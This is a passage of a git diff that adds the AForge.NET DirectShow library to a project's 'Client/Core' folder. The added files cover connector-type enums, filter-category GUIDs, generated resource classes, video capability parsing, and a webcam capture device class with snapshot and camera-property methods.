2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + /// + /// Specifies the physical type of pin (audio or video). + /// + public enum PhysicalConnectorType + { + /// + /// Default value of connection type. Physically it does not exist, but just either to specify that + /// connection type should not be changed (input) or was not determined (output). + /// + Default = 0, + /// + /// Specifies a tuner pin for video. + /// + VideoTuner = 1, + /// + /// Specifies a composite pin for video. + /// + VideoComposite, + /// + /// Specifies an S-Video (Y/C video) pin. + /// + VideoSVideo, + /// + /// Specifies an RGB pin for video. + /// + VideoRGB, + /// + /// Specifies a YRYBY (Y, R–Y, B–Y) pin for video. + /// + VideoYRYBY, + /// + /// Specifies a serial digital pin for video. + /// + VideoSerialDigital, + /// + /// Specifies a parallel digital pin for video. + /// + VideoParallelDigital, + /// + /// Specifies a SCSI (Small Computer System Interface) pin for video. + /// + VideoSCSI, + /// + /// Specifies an AUX (auxiliary) pin for video. + /// + VideoAUX, + /// + /// Specifies an IEEE 1394 pin for video. + /// + Video1394, + /// + /// Specifies a USB (Universal Serial Bus) pin for video. + /// + VideoUSB, + /// + /// Specifies a video decoder pin. + /// + VideoDecoder, + /// + /// Specifies a video encoder pin. + /// + VideoEncoder, + /// + /// Specifies a SCART (Peritel) pin for video. + /// + VideoSCART, + /// + /// Not used. + /// + VideoBlack, + + /// + /// Specifies a tuner pin for audio. + /// + AudioTuner = 4096, + /// + /// Specifies a line pin for audio. + /// + AudioLine, + /// + /// Specifies a microphone pin. + /// + AudioMic, + /// + /// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio. + /// + AudioAESDigital, + /// + /// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio. + /// + AudioSPDIFDigital, + /// + /// Specifies a SCSI pin for audio. + /// + AudioSCSI, + /// + /// Specifies an AUX pin for audio. + /// + AudioAUX, + /// + /// Specifies an IEEE 1394 pin for audio. + /// + Audio1394, + /// + /// Specifies a USB pin for audio. + /// + AudioUSB, + /// + /// Specifies an audio decoder pin. + /// + AudioDecoder + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Properties/AssemblyInfo.cs b/Client/Core/AForge/Video.DirectShow/Properties/AssemblyInfo.cs new file mode 100644 index 000000000..cada2a792 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Properties/AssemblyInfo.cs @@ -0,0 +1,5 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + + diff --git a/Client/Core/AForge/Video.DirectShow/Properties/Resources.Designer.cs b/Client/Core/AForge/Video.DirectShow/Properties/Resources.Designer.cs new file mode 100644 index 000000000..21c49ecb2 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Properties/Resources.Designer.cs @@ -0,0 +1,70 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:2.0.50727.4214 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace AForge.Video.DirectShow.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("AForge.Video.DirectShow.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + internal static System.Drawing.Bitmap camera { + get { + object obj = ResourceManager.GetObject("camera", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Properties/Resources.resx b/Client/Core/AForge/Video.DirectShow/Properties/Resources.resx new file mode 100644 index 000000000..24fdc6b60 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Properties/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Icons\camera.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/Client/Core/AForge/Video.DirectShow/Uuids.cs b/Client/Core/AForge/Video.DirectShow/Uuids.cs new file mode 100644 index 000000000..3256fedce --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Uuids.cs @@ -0,0 +1,55 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow filter categories. + /// + [ComVisible( false )] + public static class FilterCategory + { + /// + /// Audio input device category. + /// + /// + /// Equals to CLSID_AudioInputDeviceCategory. + /// + public static readonly Guid AudioInputDevice = + new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video input device category. + /// + /// + /// Equals to CLSID_VideoInputDeviceCategory. + /// + public static readonly Guid VideoInputDevice = + new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video compressor category. + /// + /// + /// Equals to CLSID_VideoCompressorCategory. + /// + public static readonly Guid VideoCompressorCategory = + new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Audio compressor category + /// + /// + /// Equals to CLSID_AudioCompressorCategory. + /// + public static readonly Guid AudioCompressorCategory = + new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/VideoCapabilities.cs b/Client/Core/AForge/Video.DirectShow/VideoCapabilities.cs new file mode 100644 index 000000000..a7c8dd413 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/VideoCapabilities.cs @@ -0,0 +1,245 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Capabilities of video device such as frame size and frame rate. + /// + public class VideoCapabilities + { + /// + /// Frame size supported by video device. + /// + public readonly Size FrameSize; + + /// + /// Frame rate supported by video device for corresponding frame size. + /// + /// + /// This field is depricated - should not be used. + /// Its value equals to . + /// + /// + [Obsolete( "No longer supported. Use AverageFrameRate instead." )] + public int FrameRate + { + get { return AverageFrameRate; } + } + + /// + /// Average frame rate of video device for corresponding frame size. + /// + public readonly int AverageFrameRate; + + /// + /// Maximum frame rate of video device for corresponding frame size. + /// + public readonly int MaximumFrameRate; + + /// + /// Number of bits per pixel provided by the camera. + /// + public readonly int BitCount; + + internal VideoCapabilities( ) { } + + // Retrieve capabilities of a video device + static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig ) + { + if ( videoStreamConfig == null ) + throw new ArgumentNullException( "videoStreamConfig" ); + + // ensure this device reports capabilities + int count, size; + int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( count <= 0 ) + throw new NotSupportedException( "This video device does not report capabilities." ); + + if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) ) + throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." ); + + // group capabilities with similar parameters + Dictionary videocapsList = new Dictionary( ); + + for ( int i = 0; i < count; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i ); + + uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) | + ( ( (uint) vc.FrameSize.Width ) << 16 ); + + if ( !videocapsList.ContainsKey( key ) ) + { + videocapsList.Add( key, vc ); + } + else + { + if ( vc.BitCount > videocapsList[key].BitCount ) + { + videocapsList[key] = vc; + } + } + } + catch + { + } + } + + VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count]; + videocapsList.Values.CopyTo( videocaps, 0 ); + + return videocaps; + } + + // Retrieve capabilities of a video device + internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index ) + { + AMMediaType mediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + try + { + // retrieve capabilities struct at the specified index + int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( mediaType.FormatType == FormatType.VideoInfo ) + { + VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else if ( mediaType.FormatType == FormatType.VideoInfo2 ) + { + VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else + { + throw new ApplicationException( "Unsupported format found." ); + } + + // ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8 + // TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail + // on such formats + if ( BitCount <= 12 ) + { + throw new ApplicationException( "Unsupported format found." ); + } + } + finally + { + if ( mediaType != null ) + mediaType.Dispose( ); + } + } + + /// + /// Check if the video capability equals to the specified object. + /// + /// + /// Object to compare with. + /// + /// Returns true if both are equal are equal or false otherwise. + /// + public override bool Equals( object obj ) + { + return Equals( obj as VideoCapabilities ); + } + + /// + /// Check if two video capabilities are equal. + /// + /// + /// Second video capability to compare with. + /// + /// Returns true if both video capabilities are equal or false otherwise. + /// + public bool Equals( VideoCapabilities vc2 ) + { + if ( (object) vc2 == null ) + { + return false; + } + + return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) ); + } + + /// + /// Get hash code of the object. + /// + /// + /// Returns hash code ot the object + public override int GetHashCode( ) + { + return FrameSize.GetHashCode( ) ^ BitCount; + } + + /// + /// Equality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are equal or false otherwise. + public static bool operator ==( VideoCapabilities a, VideoCapabilities b ) + { + // if both are null, or both are same instance, return true. + if ( object.ReferenceEquals( a, b ) ) + { + return true; + } + + // if one is null, but not both, return false. + if ( ( (object) a == null ) || ( (object) b == null ) ) + { + return false; + } + + return a.Equals( b ); + } + + /// + /// Inequality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are not equal or false otherwise. + public static bool operator !=( VideoCapabilities a, VideoCapabilities b ) + { + return !( a == b ); + } + } +} diff --git a/Client/Core/AForge/Video.DirectShow/VideoCaptureDevice.cs b/Client/Core/AForge/Video.DirectShow/VideoCaptureDevice.cs new file mode 100644 index 000000000..8b76c5a30 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/VideoCaptureDevice.cs @@ -0,0 +1,1698 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Drawing.Imaging; + using System.Threading; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Video source for local video capture device (for example USB webcam). + /// + /// + /// This video source class captures video data from local video capture device, + /// like USB web camera (or internal), frame grabber, capture board - anything which + /// supports DirectShow interface. For devices which has a shutter button or + /// support external software triggering, the class also allows to do snapshots. Both + /// video size and snapshot size can be configured. + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // create video source + /// VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString ); + /// // set NewFrame event handler + /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); + /// // start the video source + /// videoSource.Start( ); + /// // ... + /// // signal to stop when you no longer need capturing + /// videoSource.SignalToStop( ); + /// // ... + /// + /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) + /// { + /// // get new frame + /// Bitmap bitmap = eventArgs.Frame; + /// // process the frame + /// } + /// + /// + /// + public class VideoCaptureDevice : IVideoSource + { + // moniker string of video capture device + private string deviceMoniker; + // received frames count + private int framesReceived; + // recieved byte count + private long bytesReceived; + + // video and snapshot resolutions to set + private VideoCapabilities videoResolution = null; + private VideoCapabilities snapshotResolution = null; + + // provide snapshots or not + private bool provideSnapshots = false; + + private Thread thread = null; + private ManualResetEvent stopEvent = null; + + private VideoCapabilities[] videoCapabilities; + private VideoCapabilities[] snapshotCapabilities; + + private bool needToSetVideoInput = false; + private bool needToSimulateTrigger = false; + private bool needToDisplayPropertyPage = false; + private bool needToDisplayCrossBarPropertyPage = false; + private IntPtr parentWindowForPropertyPage = IntPtr.Zero; + + // video capture source object + private object sourceObject = null; + + // time of starting the DirectX graph + private DateTime startTime = new DateTime( ); + + // dummy object to lock for synchronization + private object sync = new object( ); + + // flag specifying if IAMCrossbar interface is supported by the running graph/source object + private bool? isCrossbarAvailable = null; + + private VideoInput[] crossbarVideoInputs = null; + private VideoInput crossbarVideoInput = VideoInput.Default; + + // cache for video/snapshot capabilities and video inputs + private static Dictionary cacheVideoCapabilities = new Dictionary( ); + private static Dictionary cacheSnapshotCapabilities = new Dictionary( ); + private static Dictionary cacheCrossbarVideoInputs = new Dictionary( ); + + /// + /// Current video input of capture card. + /// + /// + /// The property specifies video input to use for video devices like capture cards + /// (those which provide crossbar configuration). List of available video inputs can be obtained + /// from property. + /// + /// To check if the video device supports crossbar configuration, the + /// method can be used. + /// + /// This property can be set as before running video device, as while running it. + /// + /// By default this property is set to , which means video input + /// will not be set when running video device, but currently configured will be used. After video device + /// is started this property will be updated anyway to tell current video input. + /// + /// + public VideoInput CrossbarVideoInput + { + get { return crossbarVideoInput; } + set + { + needToSetVideoInput = true; + crossbarVideoInput = value; + } + } + + /// + /// Available inputs of the video capture card. + /// + /// + /// The property provides list of video inputs for devices like video capture cards. + /// Such devices usually provide several video inputs, which can be selected using crossbar. + /// If video device represented by the object of this class supports crossbar, then this property + /// will list all video inputs. However if it is a regular USB camera, for example, which does not + /// provide crossbar configuration, the property will provide zero length array. + /// + /// Video input to be used can be selected using . See also + /// method, which provides crossbar configuration dialog. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoInput[] AvailableCrossbarVideoInputs + { + get + { + if ( crossbarVideoInputs == null ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) ) + { + crossbarVideoInputs = cacheCrossbarVideoInputs[deviceMoniker]; + } + } + + if ( crossbarVideoInputs == null ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( crossbarVideoInputs == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even if capabilities are not provided for some reason + return ( crossbarVideoInputs != null ) ? crossbarVideoInputs : new VideoInput[0]; + } + } + + /// + /// Specifies if snapshots should be provided or not. + /// + /// + /// Some USB cameras/devices may have a shutter button, which may result into snapshot if it + /// is pressed. So the property specifies if the video source will try providing snapshots or not - it will + /// check if the camera supports providing still image snapshots. If camera supports snapshots and the property + /// is set to , then snapshots will be provided through + /// event. + /// + /// Check supported sizes of snapshots using property and set the + /// desired size using property. + /// + /// The property must be set before running the video source to take effect. + /// + /// Default value of the property is set to . + /// + /// + public bool ProvideSnapshots + { + get { return provideSnapshots; } + set { provideSnapshots = value; } + } + + /// + /// New frame event. + /// + /// + /// Notifies clients about new available frame from video source. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + public event NewFrameEventHandler NewFrame; + + /// + /// Snapshot frame event. + /// + /// + /// Notifies clients about new available snapshot frame - the one which comes when + /// camera's snapshot/shutter button is pressed. + /// + /// See documentation to for additional information. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed snapshot frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + /// + /// + public event NewFrameEventHandler SnapshotFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + public event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + public event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// Video source is represented by moniker string of video capture device. + /// + public virtual string Source + { + get { return deviceMoniker; } + set + { + deviceMoniker = value; + + videoCapabilities = null; + snapshotCapabilities = null; + crossbarVideoInputs = null; + isCrossbarAvailable = null; + } + } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + public int FramesReceived + { + get + { + int frames = framesReceived; + framesReceived = 0; + return frames; + } + } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + public long BytesReceived + { + get + { + long bytes = bytesReceived; + bytesReceived = 0; + return bytes; + } + } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + public bool IsRunning + { + get + { + if ( thread != null ) + { + // check thread status + if ( thread.Join( 0 ) == false ) + return true; + + // the thread is not running, free resources + Free( ); + } + return false; + } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredFrameSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredSnapshotSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use. + /// + /// + /// The property is obsolete. Setting this property does not have any effect. + /// + [Obsolete] + public int DesiredFrameRate + { + get { return 0; } + set { } + } + + /// + /// Video resolution to set. + /// + /// + /// The property allows to set one of the video resolutions supported by the camera. + /// Use property to get the list of supported video resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default video + /// resolution is used. + /// + /// + public VideoCapabilities VideoResolution + { + get { return videoResolution; } + set { videoResolution = value; } + } + + /// + /// Snapshot resolution to set. + /// + /// + /// The property allows to set one of the snapshot resolutions supported by the camera. + /// Use property to get the list of supported snapshot resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default snapshot + /// resolution is used. + /// + /// + public VideoCapabilities SnapshotResolution + { + get { return snapshotResolution; } + set { snapshotResolution = value; } + } + + /// + /// Video capabilities of the device. + /// + /// + /// The property provides list of device's video capabilities. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoCapabilities[] VideoCapabilities + { + get + { + if ( videoCapabilities == null ) + { + lock ( cacheVideoCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) + { + videoCapabilities = cacheVideoCapabilities[deviceMoniker]; + } + } + + if ( videoCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( videoCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( videoCapabilities != null ) ? videoCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Snapshot capabilities of the device. + /// + /// + /// The property provides list of device's snapshot capabilities. + /// + /// If the array has zero length, then it means that this device does not support making + /// snapshots. + /// + /// See documentation to for additional information. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + /// + /// + public VideoCapabilities[] SnapshotCapabilities + { + get + { + if ( snapshotCapabilities == null ) + { + lock ( cacheSnapshotCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + snapshotCapabilities = cacheSnapshotCapabilities[deviceMoniker]; + } + } + + if ( snapshotCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( snapshotCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( snapshotCapabilities != null ) ? snapshotCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Source COM object of camera capture device. + /// + /// + /// The source COM object of camera capture device is exposed for the + /// case when user may need get direct access to the object for making some custom + /// configuration of camera through DirectShow interface, for example. + /// + /// + /// If camera is not running, the property is set to . + /// + /// + public object SourceObject + { + get { return sourceObject; } + } + + /// + /// Initializes a new instance of the class. + /// + /// + public VideoCaptureDevice( ) { } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Moniker string of video capture device. + /// + public VideoCaptureDevice( string deviceMoniker ) + { + this.deviceMoniker = deviceMoniker; + } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + public void Start( ) + { + if ( !IsRunning ) + { + // check source + if ( string.IsNullOrEmpty( deviceMoniker ) ) + throw new ArgumentException( "Video source is not specified." ); + + framesReceived = 0; + bytesReceived = 0; + isCrossbarAvailable = null; + needToSetVideoInput = true; + + // create events + stopEvent = new ManualResetEvent( false ); + + lock ( sync ) + { + // create and start new thread + thread = new Thread( new ThreadStart( WorkerThread ) ); + thread.Name = deviceMoniker; // mainly for debugging + thread.Start( ); + } + } + } + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + public void SignalToStop( ) + { + // stop thread + if ( thread != null ) + { + // signal to stop + stopEvent.Set( ); + } + } + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for source stopping after it was signalled to stop using + /// method. + /// + public void WaitForStop( ) + { + if ( thread != null ) + { + // wait for thread stop + thread.Join( ); + + Free( ); + } + } + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + /// Since the method aborts background thread, its usage is highly not preferred + /// and should be done only if there are no other options. The correct way of stopping camera + /// is signaling it stop and then + /// waiting for background thread's completion. + /// + /// + public void Stop( ) + { + if ( this.IsRunning ) + { + thread.Abort( ); + WaitForStop( ); + } + } + + /// + /// Free resource. + /// + /// + private void Free( ) + { + thread = null; + + // release events + stopEvent.Close( ); + stopEvent = null; + } + + /// + /// Display property window for the video capture device providing its configuration + /// capabilities. + /// + /// + /// Handle of parent window. + /// + /// If you pass parent window's handle to this method, then the + /// displayed property page will become modal window and none of the controls from the + /// parent window will be accessible. In order to make it modeless it is required + /// to pass as parent window's handle. + /// + /// + /// + /// The video source does not support configuration property page. + /// + public void DisplayPropertyPage( IntPtr parentWindow ) + { + // check source + if ( ( deviceMoniker == null ) || ( deviceMoniker == string.Empty ) ) + throw new ArgumentException( "Video source is not specified." ); + + lock ( sync ) + { + if ( IsRunning ) + { + // pass the request to backgroud thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayPropertyPage = true; + return; + } + + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is ISpecifyPropertyPages ) ) + { + throw new NotSupportedException( "The video source does not support configuration property page." ); + } + + DisplayPropertyPage( parentWindow, tempSourceObject ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + } + + /// + /// Display property page of video crossbar (Analog Video Crossbar filter). + /// + /// + /// Handle of parent window. + /// + /// The Analog Video Crossbar filter is modeled after a general switching matrix, + /// with n inputs and m outputs. For example, a video card might have two external connectors: + /// a coaxial connector for TV, and an S-video input. These would be represented as input pins on + /// the filter. The displayed property page allows to configure the crossbar by selecting input + /// of a video card to use. + /// + /// This method can be invoked only when video source is running ( is + /// ). Otherwise it generates exception. + /// + /// Use method to check if running video source provides + /// crossbar configuration. + /// + /// + /// The video source must be running in order to display crossbar property page. + /// Crossbar configuration is not supported by currently running video source. + /// + public void DisplayCrossbarPropertyPage( IntPtr parentWindow ) + { + lock ( sync ) + { + // wait max 5 seconds till the flag gets initialized + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ) && ( IsRunning ); i++ ) + { + Thread.Sleep( 10 ); + } + + if ( ( !IsRunning ) || ( !isCrossbarAvailable.HasValue ) ) + { + throw new ApplicationException( "The video source must be running in order to display crossbar property page." ); + } + + if ( !isCrossbarAvailable.Value ) + { + throw new NotSupportedException( "Crossbar configuration is not supported by currently running video source." ); + } + + // pass the request to background thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayCrossBarPropertyPage = true; + } + } + + /// + /// Check if running video source provides crossbar for configuration. + /// + /// + /// Returns if crossbar configuration is available or + /// otherwise. + /// + /// The method reports if the video source provides crossbar configuration + /// using . + /// + /// + public bool CheckIfCrossbarAvailable( ) + { + lock ( sync ) + { + if ( !isCrossbarAvailable.HasValue ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + + return ( !isCrossbarAvailable.HasValue ) ? false : isCrossbarAvailable.Value; + } + } + + + /// + /// Simulates an external trigger. + /// + /// + /// The method simulates external trigger for video cameras, which support + /// providing still image snapshots. The effect is equivalent as pressing camera's shutter + /// button - a snapshot will be provided through event. + /// + /// The property must be set to + /// to enable receiving snapshots. + /// + /// + public void SimulateTrigger( ) + { + needToSimulateTrigger = true; + } + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool SetCameraProperty( CameraControlProperty property, int value, CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Set( property, value, controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives the value indicating whether the setting is controlled manually or automatically + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device 